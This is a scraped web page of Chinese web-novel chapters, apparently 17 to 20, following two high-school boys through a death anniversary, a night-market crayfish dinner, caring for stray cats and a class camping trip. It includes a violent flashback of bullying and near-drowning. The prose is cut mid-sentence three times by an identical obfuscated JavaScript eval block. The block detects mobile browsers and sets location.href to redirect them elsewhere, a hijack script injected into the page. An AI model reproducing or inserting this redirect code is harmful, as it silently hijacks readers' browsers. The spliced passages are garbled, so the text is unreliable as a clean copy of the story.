“他周末也没在家吃?”李斯年记得以前许之虽然上学时三餐自带玉米红薯,但至少周末还能跟着吃赵婶做的正常饭菜,这么一来,许之岂不是完全没机会正经吃肉了? 李斯年在思考青少年营养均衡问题,李倾诺想的却是个人魅力评估:“是啊,我之前还以为是他不喜欢我这种风格的,所以你不在,他就也不和我同桌吃饭了,但既然他喜欢男生……那应该就不是我的问题!” 李斯年扑哧笑道:“放心,有我这么帅的哥哥,你也差不到哪里去!” 李倾诺轻哼一声:“所以你到底跟不跟我回家吃饭?” “我还有卷子没写完,今天真不行。” “李斯年。”李倾诺忽然抬高了声音,伸手拦在李斯年面前,小姑娘刚才在墓前说话时还好好的,现在却突然红了眼眶:“你如果不按时吃饭,妈妈也会担心啊!” 亲哥什么习惯她还能不知道?李斯年从来没有作业会留到周日下午做的,她晓得忌日这天,李斯年心里会很不好受,但他性格要强,从来不会在人前表现出来 往年每次从墓园回来,都是默不作声自己钻进卧室,关着门闷一整天。 “三岔巷子旁边那么多好吃的路边摊,我肯定吃饱。”李斯年咧嘴一笑,“等我收拾好了,你中午还可以去睡午觉,很近的。” “那倒不用了。”宝贵的中午时间那是要用来看漫画的,李倾诺暗忖:“你答应我,真的按时吃饭哦。” “好好好,答应你!” 17. 吃虾 江叔的车从墓园开到家门口,李斯年也跟着李糯糯一起下了车,改坐公交回出租屋。 他不想让江叔知道自己如今的住处,倒不是不信任,而是人终究是李宇雇的,回头李宇若真问起来,江叔是说、还是不说? 不如干脆一开始就别让人家有为难的机会。 下了公交车,李斯年在路边买了份炒面,提溜回出租屋了。 屋内只有靠门处的一扇小窗,这个天气不用开空调了,李斯年打开风扇,将炒面放在桌上,还是觉得没什么胃口。 他的确是对李糯糯说谎了,根本没有没做完的卷子。 李斯年往硬邦邦的床板上一倒,准备眯一会,等太阳落了,再去超市买四件套。 许之来时,日头已经斜了。 他打开门,刚要开灯,瞧门口歪七竖八一双鞋,又见床上凸出来一块弧度,猜到李斯年在睡觉,于是轻手轻脚关上门,将手里东西放了下来。 塑料袋落地,发出刺啦声响,在静谧环境内显得格外刺耳,李斯年翻了个身,嘴里不知嘟囔了句什么。 “你醒了?”许之问。 一片寂静。 他走到床边,才发现原来李斯年还在睡着,刚才大概是在说梦话。 光线挤过排屋间狭窄的空隙,又透过玻璃窗,洒下一片昏暗不清的黄色光晕,正好落在李斯年脸上。 他平时笑或怒都生动,很少有这样平静到几乎稚嫩的模样,粉嘟嘟的嘴唇还瘪着,不知道在做什么梦。 许之今天是来送东西的,人醒没醒都无所谓,他正挪开脚步,准备离开,转头时忽然感觉看到什么,有些不确定,于是换了一个角度再看。 没错,李斯年眼下脸颊有几条干涸的泪痕。 这实在是有点违和,许之想象不到平日里总是天不怕地不怕的少年,流眼泪是什么模样。 又是什么事情,会让他这样流着泪睡去。 许之踌躇之间,李斯年又翻了个身,忽然睁开眼。 二人四目相对。 “草!”李斯年吓得差点从床上弹起来,看清楚是许之后,才泄了气长叹一口:“是你啊……你怎么进来的?!” “有一把备用钥匙。”许之抬手示意,“你要是介意,就都放你这。” 李斯年摆摆手:“你拿着吧,万一我弄丢了要是还能来找你,主要是醒来看到屋里突然出现一个人,也太惊悚了。” 许之指了指塑料袋:“我买了床垫和四件套来。” “啊,我可以自己去买的。”李斯年起身,拆开来看,是条纹的四件套,他记得许之自己床上也是条纹的,看来他很喜欢条纹。 李斯年笑道:“你最近突然对我这么友好,我还挺不适应的。” 因为我不知道该怎么还你的人情,许之心里想着,开口却是:“刚路过超市看到促销打折。” 要说这四件套应该先过个水再用,但今天太阳已经下山了,李斯年可不想再多睡一晚上硬板床,于是也不讲究,准备直接铺来用。 他“啪嗒”一下打开灯,屋内瞬间明亮起来,先将床垫挪上床,又转身去拿床单。 路过卫生间的镜子时,李斯年余光一瞟,蓦的顿住脚步。 他看到白炽灯下自己的脸:满是泪痕但毫不自知的脸。 李斯年脑子一嗡,尴尬从脚底直冲天灵盖,赶紧钻进卫生间,把脸伸到水龙头下面猛扑凉水。 “你早就看到了,不告诉我?!”李斯年从卫生间怒气冲冲的走出来,沾湿的刘海还在滴着水珠。 许之摊手,表示这真的很难开口。 李斯年长长叹了一口气,决定大人不记小人过,闷头去铺自己的四件套,等铺好了,气也差不多消完了。 “你晚上吃什么?”李斯年问。 “回家吃。”许之撒谎不眨眼。 李斯年也不急戳穿他,只是伸手将他肩膀一揽:“走,今天我请你,算谢谢你给我带那些东西!” - 入夜后,三岔巷子外围的摊贩更多了,招牌将路边照得亮堂堂,风裹着油香与咸辣味道迎面吹来,李斯年这才后知后觉有点饿了。 他一边往前走,一边挑选着吃哪家,脚步在其中一家前停顿片刻,但不知为何又挪开了目光,继续往前走,直到走到尽头,还是没能决定。 “你有什么想吃的?”李斯年看向许之。 许之想了想,问:“江城的小龙虾是不是挺有名?” 李斯年无端一愣,眼中不自觉多了些许神采:“是啊,不过很辣的,你能吃辣吗?” 许之点头:“嗯,可以试试。” 李斯年一笑,转身往回走,来到那家曾短暂驻足的小摊前:“老板,两盘大份小龙虾,特辣!两碗全料炒饭!在这吃!” 两个长手长脚的少年人在矮小的塑料板凳坐下,这里的一次性筷子都是小号,塑料碗碟轻的风一吹就要飞走,抽纸也是粗糙的便宜货,哪儿哪儿看着都很局促。 但这种局促仿佛才是路边摊的灵魂,倒让人觉得食物味道都变得更地道了。 老板抡起膀子开炒,菜很快就上齐了,两人戴着手套开吃,李斯年吃得满嘴满手油,不一会,面前小龙虾壳都堆成小山了。 抬头一看,许之还在慢条斯理、认真仔细的剥壳,吃虾吃得像是在做什么精密物理实验。 夜市就是夜越深、人越多,四周充斥着说笑声、各类肉菜下油锅时的“刺啦”响声,再没有比这里更有烟火气的地方了。 小龙虾空了盘,李斯年还意犹未尽,又扬声:“老板!再加一份特辣小龙虾!” 他边说,边辣的斯哈斯哈倒吸气,再看许之,面前只有几个虾壳,但辣的整张白净的脸都被红晕染满了。 “以前,我妈老带我和糯糯来吃小龙虾。”李斯年忽然开口。 家里最能吃辣的是郑秀、李倾诺,最次才是李斯年,李宇总是很忙,于是很多个夏天的夜晚,母子女三人都是这样围坐在路边摊前,吃得大汗直冒。 郑秀每次都会点冰镇啤酒,李斯年未成年,只能喝汽水,但他总是很眼馋,最后要么求着郑秀给自己尝一口、要么趁着她中途离开时猛灌几口,别提多痛快了。 她走后,再没有人带李斯年来吃路边小龙虾了,李斯年自己也害怕触景伤情,很长一段时间连看到类似的路边摊都要绕道走。 今天多亏许之的提议,他才能借着这理由,久违的坐回这小龙虾的摊位前。 第三盘小龙虾很快就出锅端了上来,氤氲的热气充斥在二人面前。 许之看到李斯年眼睛红红的,不知是被辣到还是其他什么原因,他将脸在手臂上一蹭,又戴上手套拿虾子。 “你慢点吃。”许之说。 李斯年点头,但手上却没停,他只是莫名留念口腔中刺痛的辣味,不想它就这样消散。 李斯年今天格外话多,他吃完了自己的那份炒饭,又来管许之的。 “你怎么还剩一半?” “我吃饱了。” “不行,得多吃点,你太瘦了。”李斯年坚持。 许之无奈一笑,这次倒是没和李斯年对着来,老老实实拿起勺子继续吃。 “以后赵婶做的饭,你就回去吃,别想那么多,知道么?”李斯年大概能猜到,许之自尊心这么强的人,估计是觉得李斯年因为自己被赶出去了,李宇和许茜又不在,所以也不好再去桌上吃饭。 许之勺子顿了顿,也没说什么,继续舀了米饭往嘴里送。 最后,二人几乎都是扶着墙来、扶着墙走,吃得很饱。 从大道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401229|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开,绕进巷内,喧嚣就被甩在脑后了,李斯年迎着月光往前走,一整天埋压在心里的情绪终于都趁着酒足饭饱的闲适冒了出来。 虽然妈妈再也不会带自己一起吃小龙虾了,但好在还有能陪他吃的人。 “谢谢。”李斯年说。 “嗯?” “你是故意提要吃小龙虾的吧?你根本不能吃辣。”李斯年看出来了。 这人一晚上就只吃了十来只小龙虾,冰镇汽水倒是灌了三大瓶,偏偏还忍着只是小口小口吸气,怕扰了他的兴致。 许之轻轻摇头:“偶尔尝一尝也不错。” 李斯年侧头去看他,忽然觉得自己似乎窥探到了洋葱的心是什么样的,果然和外层辛辣完全不同,是又敏锐又柔软,善良的无声无息。 “今天,是我妈妈的忌日。” 李斯年声音很低,像是害怕吵醒了月光。 “五年了,这是我第一次吃小龙虾。很矛盾,虽然我总在想起她,但同时又害怕做那些和她一起做过的事情。有时候我会怀疑,我到底是想记住她,还是想忘记她。” 许之静静听着,二人又走了半条巷子,就在李斯年以为他不会再接话时,听到许之开口: “或许你只是太爱她了。” 李斯年愣住。 许之侧过脸,眉眼带着似有若无的笑意,脸颊因吃辣而泛起的血色尚未消退,看起来不再像往常那样有距离感。 “所以你才会需要更多时间去接受一些东西,五年没有吃小龙虾、但今天不也吃了?” 许之的话像是有魔力,将李斯年心里阴郁的云骤然吹开,他感到眼眶一热,赶紧撇开脸去,堂堂男子汉同一天当着同一个人的面流两次眼泪,也太丢脸了。 许之很有分寸,见好就收,主动转移了话题:“出租屋就在前面,那我先回去了。” 李斯年抬起头,表情已然恢复正常:“好,明天见。” “明天见。” - 话虽如此,但之后的几天,午休和晚饭时间,李斯年都没怎么见到许之,也不知道他在忙什么。 直到周二傍晚,李斯年跟着篮球队做完训练,回出租屋的路上,远远看到一个熟悉的身影,拉着快半人高的蛇皮袋子往垃圾中转站走。 李斯年快步走上去,也不嫌脏,拽着袋子尾部两个角往上一提,迎上许之回过头诧异的目光。 李斯年掂量了一下袋里的东西,示意他继续往前:“这么些饮料瓶,能卖多少钱啊?” 许之的声音隔着蛇皮袋子传过来:“不一定,三十五十都有可能。” “你成绩这么好,可以去做上门辅导啊,比这赚得多。” “那种一般都要大学生。”他这样的高中生,就是想去,别人也不敢雇,寒暑假还好说一点,可以借口是勤工俭学,但正常上学期间是很难找的,他不是没试过。 许之所料不错,这里头易拉罐比较多,最后在中转站一共卖了五十三块钱。 天已经完全黑了,快到晚自习的时间,二人往育德走,路过三岔巷子时,忽然传来一声猫叫。 李斯年认得这略带沙哑的叫声,蹲下身:“小黑?” 很快,一只毛发顺滑光亮的黑猫就贴着墙边跳了过来,非常矜持的用鼻头碰了一下李斯年的手背,然后开始兜着李斯年和许之的脚下绕圈。 这意思是饿了,许之下意识摸裤袋,空瘪瘪的,猫条已经吃完了,他刚想去便利店买,李斯年叫住了他。 “喂,要一起逃课吗?” 许之不解:“逃课干嘛?” “做猫饭。”李斯年站起身,挑眉笑道:“那个比买猫条实惠、还更有营养,走,我教你。” 说着,他伸手拉过许之的胳膊,越过便利店,走向前面的小超市。 18. 小白 省第一和省第二就这样为了一件小事双双翘掉了晚自习,李斯年不用想都知道明天老董头会发多大的脾气。 但他向来不会在意这些,而许之也没什么所谓,作业早就做完了,晚自习也只是用来刷各种自己买来打发时间的学习资料而已。 许之跟着李斯年进了小超市,看着他一路轻车熟路采购电热炉、鸡胸肉、鸡蛋、小刀和砧板,忽然觉得这个人实在是非常神奇。 当你原本以为已经了解他的全部面貌时,人家冷不丁又会展现出另一面。 就好像通常所有人都会认为嚣张洒脱的富二代小少爷是十指不沾阳春水,盐和糖不靠舔就分不清。 但李斯年却能回到家哐哐将肉一顿切薄片,丢水里煮出肉香四溢的汤水来。 “超市不卖牛磺酸,回头我在网上买点猫饭需要的营养剂,如果是一岁之前的小猫,还要注意加够钙粉……” 李斯年絮絮叨叨着,将鸡胸肉单独夹出来,用手撕成条状,又丢到汤里,再碾碎一颗蛋黄。 这手法,别提多娴熟了。 最后,李斯年将所有鸡胸肉汤分装成多份,“以后你也可以一次性多做点,放冷冻,每次拿出来蒸一下就能吃。我这没冰箱,你带回去保存吧。” 许之接过:“没想到你还会做这些。“ 李斯年一笑,语气却有点忧伤:“因为小时候家里也养猫,但后来生病去世了。” 做猫饭也是他跟着母亲郑秀学的,郑秀是个极其细心又善良的人,不仅家里养猫,以前小区周围流浪猫狗都是她在喂,遇到有病痛的,还会带去医院,治好后找领养。 李斯年有时候会觉得,或许根本不存在什么好人有好报,否则郑秀这样的人,为什么没有平安顺遂、长命百岁? 许之看出他有些低落,主动说:“走,拿给小黑尝尝,看他喜不喜欢。” 二人出门,来到巷子里,李斯年一路学着猫叫,很快就得到了小黑的回应。 许之将塑料碗放在地上,鸡胸肉汤闪着油光,小黑凑近闻了好一会,又舔了口,却不吃。 “是不合口味吗?”李斯年手撑在下巴上,若有所思:“可能还是要用他以前喜欢的猫条或者冻干过渡一下。” 小黑喵呜一声,转身跑走了,两个少年蹲在原地,大眼瞪小眼,都有些沮丧。 “要不就放在路边,或许他们晚点还会来吃?”许之提议。 “也行,就是现在天气还热,不知道会不会放坏。” 二人商量着,决定明早来收碗,就算没吃完也不再留,免得变质后吃了容易拉肚子。 刚站起身,听到墙边又传来猫叫,是更清亮的声音。 “是小白。”李斯年眼睛一亮。 一黑一白两只猫从黑暗中走出,小黑来到塑料碗前,叫了声,小白随即也上前来嗅嗅闻闻,很快就咕噜咕噜吃了起来。 看着小猫吃东西,总给人一种莫名的满足感,李斯年看了会,忽然“咦”了一声,绕到小白身后,伸手摸向它略显圆滚的肚子。 小白向来亲人,知道是李斯年,只是哼唧了一声,吃得连头都没抬。 “小白好像怀小猫了!”李斯年惊喜道。 “真的?”许之也觉得新奇,他蹲下来摸了摸猫肚子,但除了能感到鼓起来之外,也摸不出什么。 “嗯,从前我家猫怀孕就是这样。怪不得小黑刚才自己不吃,原来是想留着给老婆啊,不错,有担当!”李斯年笑着撸了一把小黑的猫头,它嫌弃的叫了一声,扭头躲远了些。 “那小白多久会生?”许之问。 “得带去宠物医院看才知道,但肚子这么大,估计要么快生了、要么怀了好多只。” 李斯年拿出手机,找到之前养猫时熟悉的宠物医院,预约了时间,“梁芷家里有猫包,明天直接带去就行。” 许之“嗯”了一声,这是他第二次听李斯年提起梁芷这个名字了,语气是自然又熟络的,但似乎并不是同年级的同学,他看了看两只猫,问:“我能去吗?” “当然可以啊。”李斯年知道许之也惦记猫的情况,“明天中午一起吧。” 小白吃好后,靠在一旁开始舔爪洗脸,向小黑发出餍足的喵呜叫声,一直蹲等在旁边的小黑这才走上前来,吃碗里剩下的汤水。 他吃的有点急,明显饿了,但就算这样,也非要等小白吃饱后才愿意吃。 这样的画面,有一种无声的温馨在其中,看着叫人心里都觉得软乎乎的。 李斯年又往碗里加了点肉,站起身,冲许之眨眨眼,做了个口型:走吧。 两人轻手轻脚的离开,将独处时光留给路灯下这一对恩爱的猫咪。 - 次日午休时间,李斯年去梁芷家里拿了猫包,用一块鸡胸肉不费吹灰之力就将小白哄进了猫包。 二人一路往巷外走,小黑见小白被装进包里了,不依不饶的跟在后面,发出着急的叫声,小白原本在猫包内趴着,到最后也开始在来回转圈,看起来有些焦躁。 “他恐怕以为我们要把小白带走,再也不回来了。”许之停下脚步,“要不两只一起带去医院?” “行啊。”李斯年说。 小黑生性警惕,不爱让人碰,二人只好一个拿着鸡胸肉在面前晃、一个从身后慢慢靠近,来回好几次,终于才将猫抓住,塞进了猫包里。 去医院检查还挺顺利,小白果然是预产期将近了,估摸着半个月内就会发动,而且看B超至少怀了四只。 小白体型偏小,肚子里小猫的个头又大,是有难产概率的。 最后和医生商量之下,李斯年决定暂时将小白养在自己屋内,万一生产过程出现危险,也方便随时送医。 回到三岔巷子时已经将近两点,梁芷正挎着书包往外走。 “斯年哥。”梁芷看到他,问:“检查都做完了?怎么样?” 李斯年将情况和她说了,“小白暂时先住我屋里,不过周五我们要去原山秋游,过一夜才回,我把出租屋的钥匙给你,到时候帮忙照看下。” 梁芷满口答应了,低声又问:“斯年哥,你要一直这样住在外面了吗?” 花边消息传的向来快,尽管梁芷不在育德学校上学,但所在的江城第二高中也就隔着几条街,她也早就听说了李斯年的事情。 “嗯,不过别告诉你妈哦,孙姨最爱操心了。” “好。”梁芷点着头,目光无意间瞄到站在李斯年身后的许之,微微一怔。 好漂亮的男生,她们高中的校花都没这么好看,像是广告上面的明星似的。 这样的人,多看上一眼都忍不住要自惭形秽起来,梁芷赶紧挪开了目光:“我快迟到了,就先去学校了,你周四提前把钥匙给我就行。” 梁芷走后,李斯年和许之将小白带回了出租屋,简单用衣物加纸箱子围了个猫窝,又把水和粮准备好。 小白在屋里,小黑就不愿意挪步走太远,李斯年便干脆让两只猫都留在了家中,和许之匆匆赶回学校,踩着第一节课上课铃进了教室。 - 秋游当天,是个大晴天,秋老虎隐隐又有抬头的趋势,育德学校的秋游是分年级来的,所有高三的班、每班由三个老师带队,乘大巴前往原山。 路上要两个多小时,但高三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401230|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生学习强度大,好不容易有休闲的机会,大家说说笑笑,时间倒也好打发。 大巴车老旧,空调压不住一车少男少女的热情,下车时几乎人人都脱掉了长袖校服,一身短袖迎接山风。 他们虽说是来原山秋游露营,但其实活动范围都还是在景区内,所以和住酒店的安全性几乎没有差别,形成内容安排也比较松散自由。 当天下午分组扎营,收集木材用作晚饭烧烤和夜里篝火,晚上自愿参加篝火晚会,次日起床爬一爬最有名的天珠峰,然后就打道回府。 大家抽签分组,李斯年、许之、方行舟和魏旬被分在了一组。 帐篷是双人的,大家依次领取好后,在景区导游的教学指导下,来到一大片空草坪。 很快,五颜六色的帐篷就纷纷支了起来。 李斯年从前和妈妈妹妹露营过好几次,当时他们买的昂贵帐篷更宽更大、组装方式也繁琐些,这种单层双人帐篷对他来说小菜一碟,两根长杆交叉穿过就撑起来了,和家用蚊帐差不多,最后用钉子固定四角即可。 反观方行舟和魏旬那边。就不是很顺利了。 “人导游都说了,统共就就两根杆子,往里一怼就行了!你非要看什么说明书?”方行舟拆完帐篷包装,想喊魏旬把铝杆拿出来,结果看到他还扶着眼镜逐字逐句阅读包装内的说明书。 “到底哪根在上面,得确认清楚了,不然半夜起风垮了、或者密闭不好进虫子,就麻烦了。”魏旬说着,说明书正面看完,翻了个面,继续看。 那芝麻大点的字印在粗糙的纸上,方行舟瞧一眼就头疼,他绝望的看向李斯年方向,口语说道:我不想和他住! 李斯年笑着走过去:“我帮你们弄吧。” “你怎么什么都会啊,是我太笨了。”魏旬看到对方已经扎好的帐篷,不好意思的挠挠头,“我没有露营过,从前看到这种帐篷,都是在书本上,或者电视里……” “挺简单,熟悉就好了。”李斯年完全是看在方行舟的面上,否则他一点都不想管魏旬的事情,这人一开始讲话就说个不停,比唐僧还唐僧。 帐篷支好后,方行舟趁着魏旬说了半天话口干、跑去喝水的间隙,赶紧拉着李斯年和许之逃离。 “救命,他念得我脑袋疼……今晚还要睡一个帐篷,这是要我死啊!”方行舟哭丧着脸。 李斯年和许之投去同情的目光。 下午的安排虽说是去捡树枝当柴火,但其实同学们都在四处闲逛。 露营处东边的深处有一条浅浅的小溪,宽三四米,不知是谁起的头,大家都陆续跑到溪边玩。 午后太阳更烈了,进山后,茂密的树林将清风也阻拦在外,溪水不急不缓,潺潺撞击着凸石,清凉惬意极了。 女生纷纷三两坐在岸边,脱了鞋踢水玩,男生有些胆子大的,卷起裤脚就下了水,一开始说是捞鱼,最后就变成了打水仗。 “走走走,我们也去凉快一下!”方行舟眼睛一亮,人就往溪里跑。 李斯年也脱了鞋袜,回头看许之,却见他站在几米外的树后,脸色有些发白。 “怎么了?”李斯年光脚踩在草上,往回走了几步,“哪里不舒服?” 许之撇开眼:“没有,你们去玩吧。” 李斯年回头看了眼溪水,有了猜测:“你是不是怕水啊?不会游泳?” 其实谈不上很怕,就是厌恶,许之心里这样想,嘴上没说太多,“嗯”了声:“我去捡点晚上用的柴火。” 一般不会游泳的人,都会天然的惧怕流水,李斯年很能理解:“以后有机会我教你,蛙泳仰泳自由泳随你挑!” 19. 露营 庆城高中傍晚放学的音乐回荡在校园内,教学楼背面的高墙后,如血般鲜红灿烂的夕阳倒映在下坡尽头的河水上。 扑通一声,水面骤然起了波澜。 夕阳瞬间被撕成波光粼粼的碎片,一圈又一圈荡漾开来。 少年双手被反剪在背后,白皙的后脖上按着一只手,半个脑袋都埋在了水里,强硬的力道压着他无法抬头。 很快,后脑勺和肩头也被人按住,进而大半截上身都被压进了河里。 少年奋力挣扎,但无济于事,气泡顺着脸侧咕噜噜往水面涌,起初又大又急,到后来渐渐变小,几乎不见。 为首的男生这才一把抓住少年的头发,将他从水里拉了出来。 “服不服?” 没有回答。 少年深棕色的头发滴着水珠子,贴在紧闭的眉眼上,腿脚软塌塌的垂下。 整个人像是被拎起来的麻布袋子,无声无息。 “老大,这家伙不会死了吧?”不知谁问了声。 “才这么会儿,不至于吧。”男生毫不在意的说完,抬手正反两下,就朝着少年面颊甩去。 随着“啪”“啪”两声响,少年眉头一颤,喉头骤然溢出沙哑的倒吸声,随即开始剧烈咳嗽起来。 直到咳到一张脸惨无血色,才回过气来,终于睁开眼睛, 男生手上用力,几乎是拽着少年的头皮,逼迫他面朝向自己。 “不亏是小野种,命真硬啊——呸!” 男生话没说完,少年一口河水就啐到了他脸上。 “你他妈找死啊!”男生怒极,站起身,抬脚就往其胸口猛踹过去。 少年刚经历过濒死的窒息,浑身脱力,像个纸人一样,被踹飞出去半米远。 四周传来恶意的笑声,少年处于耳鸣之中,根本分不清到底有几个人。 他手往旁边摸,摸到粗糙的树干,挣扎着想要起身,但腿脚发软,只能勉强半跪在泥泞草地之中。 男生走上前来,居高临下的看着他,抬手解裤带。 “河水很凉吧,哥哥给你暖暖?” 少年抬起头,嘴紧绷着,弧度圆润的眼睛里满是恨意。 只可惜他脸长得太好看,就连狰狞的模样也让人觉得可供欣赏。 男生吹了声口哨,张狂的笑着,准备放水。 就在这时,少年不知哪里来的劲,手往树上一撑,猛地站起身来。 放在背后的手抬起,直向往男生胸前扎去! 少年动作之快,出乎男生的意料,下一秒,他便察觉到脖颈处传来冰凉的触感。 慌张之间抬眼,就对上少年一双满是决绝与恨意的眸子。 那眼神太过凛冽,男生心下一咯噔,下意识就以为对方手里拿的是小刀。 他吓得顾不得裤子还挂在膝弯,连步往后退,整个人摔得四脚朝天。 “诶!小心!” “老大!” 周围几个人也慌了,手忙脚乱上去扶。 却见男生领口兜着的只是一根没有笔帽的圆珠笔、而笔头甚至都没能戳破皮肤时。 抬起头,少年已经踉跄着跑到了高墙拐角处。 再往前就是学校大门了,这个点正放学,有家长、有保安。 男生狼狈的拉起裤子,看向少年背影消失的方向,目眦欲裂:“许之,敢耍老子,给我等着!” - 许之捡好柴火回来时,李斯年已经摸起来好几条小鱼。 魏旬不知什么时候也跟了过来,学着李斯年猫下腰,在溪水里到处抓。 不过他厚厚的眼镜在此刻显得有些累赘,经常是东西还没看清,水珠就溅满了镜片,还时不时脚下一滑,看上去很是狼狈。 方行舟在旁边白眼都快翻到天上去了,好家伙这哪里是捞鱼,全给吓跑了嘛!害得自己好几次到手的鱼都溜没了。 转头见到许之,赶紧上了岸:“回的正好,我们去生火烤衣服吧!” 每两个组分一个小火炉,李斯年他们今晚和黄锦婷那组一起准备晚饭。 火炉用起来很方便,下面生好火、上边可以放烤肉串,天色还早,几个男生回帐篷内换了身衣服,将湿了的拿去烤。 王雪菁和孟畅畅领了晚餐的肉和菜,负责调味并串到竹签上,肖宁枝和黄锦婷则跑去一侧景区搭建的架子上摘葡萄。 黄锦婷恐高,在下面扶着梯子,但肖宁枝爬到最上一层,也够不到葡萄。 “你就别踮脚了,好危险!”黄锦婷嘱咐着,转头看向那群悠闲烤火的男生:“诶,来个男生帮忙啊!葡萄架有点高——” “来了来了!”方行舟积极口头回应,然后去拽李斯年手上的裤子,“你快去!” “你自己怎么不去?!” “肖宁枝在那呢,快去彰显一下你的男子气概!”方月老在撮合人方面从来都很积极。 “我都说了我跟她没有什么……” “你们这些男生怎么回事!”黄锦婷见半天没人来,有些急了,“大家一起准备晚饭,结果都是女生在出力?!” “李斯年说他来帮忙!”方行舟扬声。 李斯年叹了口气,把裤子往方行舟头上一盖,走向葡萄架。 肖宁枝扶着梯子一侧,换李斯年上去,他长手长脚,站在第二层就能摘到葡萄。 “我去旁边地里摘点番茄,你们这边没问题吧?”黄锦婷问。 李斯年以为在问他,于是答道:“没问题。” 黄锦婷却看向肖宁枝。 肖宁枝一愣,赶紧说:“没事的,你快去吧。” 黄锦婷这才提着篓子离开。 李斯年觉得有些莫名其妙:“她怎么了?” 肖宁枝却突然红了脸,她沉默着接过李斯年摘下的葡萄,等他下了梯子,才终于开口。 一开口就是:“对不起……” 李斯年更蒙了:“啊?” “锦婷刚才是在担心我。” “担心你什么?”被葡萄砸到头? 肖宁枝满脸的尴尬,绞着手指,磕磕巴巴说:“怕你纠缠我。” 李斯年:??? “其实。”肖宁枝一咬牙一跺脚,决定把埋在心里近两年的秘密说了出来,“‘你追我但被我拒绝’的传言……是从我这里传出来的。” “就是刚升高中,我请你帮忙的那段时间,孟畅畅以为我们俩在、在谈恋爱,老是追问我,但其实你根本就不搭理我,我有点生气,就、就……” 李斯年恍然大悟,敢情这么些年的谣言是这样来的! “我真没注意到你对我有意思。”李斯年很少对别人察言观色,而肖宁枝又性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401231|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格内向,现在回想起来,当时两个人是完全不同频的。 肖宁枝以为李斯年对自己有好感所以答应帮忙,可惜一直等不来对方的后文。而李斯年这边,完全是出于同学情谊顺手的事。 “那时我也不知道,你不喜欢女生嘛……”肖宁枝自嘲一笑:“就真的挺抱歉,给你带来这么大的困扰。” 肖宁枝当年为了面子,头脑一热对孟畅畅撒谎后,其实就后悔了,但又没有勇气说出真相。 看着李斯年被谣言误会了这些年,她心里何尝不是每分每秒都在煎熬。 当知道李斯年是同性恋之后,肖宁枝就下定决心,找机会和他说明白。 李斯年心宽,觉得解释清楚就好了,反而笑着安慰起对方来:“没事没事,反正都过去了。” 肖宁枝悬在心里的石头终于落了地,她感激的看向李斯年:“谢谢你……愿意原谅我。” 二人在葡萄架下澄清了流言、达成了和解,一副和谐景象。 但落在远处几人眼里却是—— “他们聊得多开心啊,真是天造地设的一对!”方行舟露出姨母般的笑容,用手臂碰了碰旁边低着头的许之,试图寻求共鸣:“你说是吧?” 许之顿了顿,才抬头看去,李斯年背对着众人,站在葡萄架下,个头很高,头顶偶尔会擦到顶上的藤蔓。 他的站姿总是和性格一样,带着些懒散和随意,但背影仍然笔直挺拔。 肖宁枝矮他不少,身材娇小,此刻正红着脸,氛围看起来的确有些暧昧。 他莫名不是很想参与这个话题。 于是只随声附和着“嗯”了声,又垂下头去。 “可是……”魏旬扶了扶眼镜,看起来非常疑惑:“李斯年不是同、同……那个吗?” 传统教育甚至让魏旬觉得说出那三个字有些羞耻。 “喜欢男生,也不妨碍喜欢女生啊,魏老先生,大清早就亡了!”方行舟趁机嘲讽了一嘴。 魏旬自顾自的“啊”了声,觉得方行舟的言论太过惊世骇俗:“这、这会不会有点不太好。” 方行舟眉毛一竖,他本来就看魏旬不顺眼,现在竟然还敢讲自己兄弟的坏话,更是一肚子火:“哪里不好了,你倒是说说看啊?” 魏旬被他质问住了,支支吾吾了一会,好不容易整理好措辞:“就、就是不符合大众价值观!而且还、还不便于传宗接代……” 方行舟嗤笑道:“咸吃萝卜淡操心,我跟你说,对于李斯年,传宗接代是看他想不想,但你嘛,就要看对方想不想了。” 魏旬听完眨了眨眼,厚厚的镜片后是迷茫的目光,还没捋过劲儿来,李斯年和肖宁枝就已经洗好葡萄返回了。 “东西都准备好了吗?”黄锦婷能当班长不是没道理的,她三两下就摆好了晚餐菜品,将人员安排的井井有条:男生们烤肉、女生们切水果做酸奶杯,摘来的番茄切开撒糖做餐后甜点。 于是,在别的组还在忙着生火时,他们已经吃上第一串烤肉了。 草坪中央有景区工作人员安排的主篝火,夜间还有一些歌舞表演、娱乐活动,都是自愿参加。 宾馆的公共浴室开放给学生们洗漱,李斯年不喜欢凑热闹,吃完烧烤就去冲了个凉,准备回帐篷。 一拉开门帘,许之已经在帐篷里了,正在铺睡袋。 20. 柑橘 到底是入了秋,夜幕四起之后,白天的热气消散的很快,寒凉一点点渗透进单薄的帐篷内。 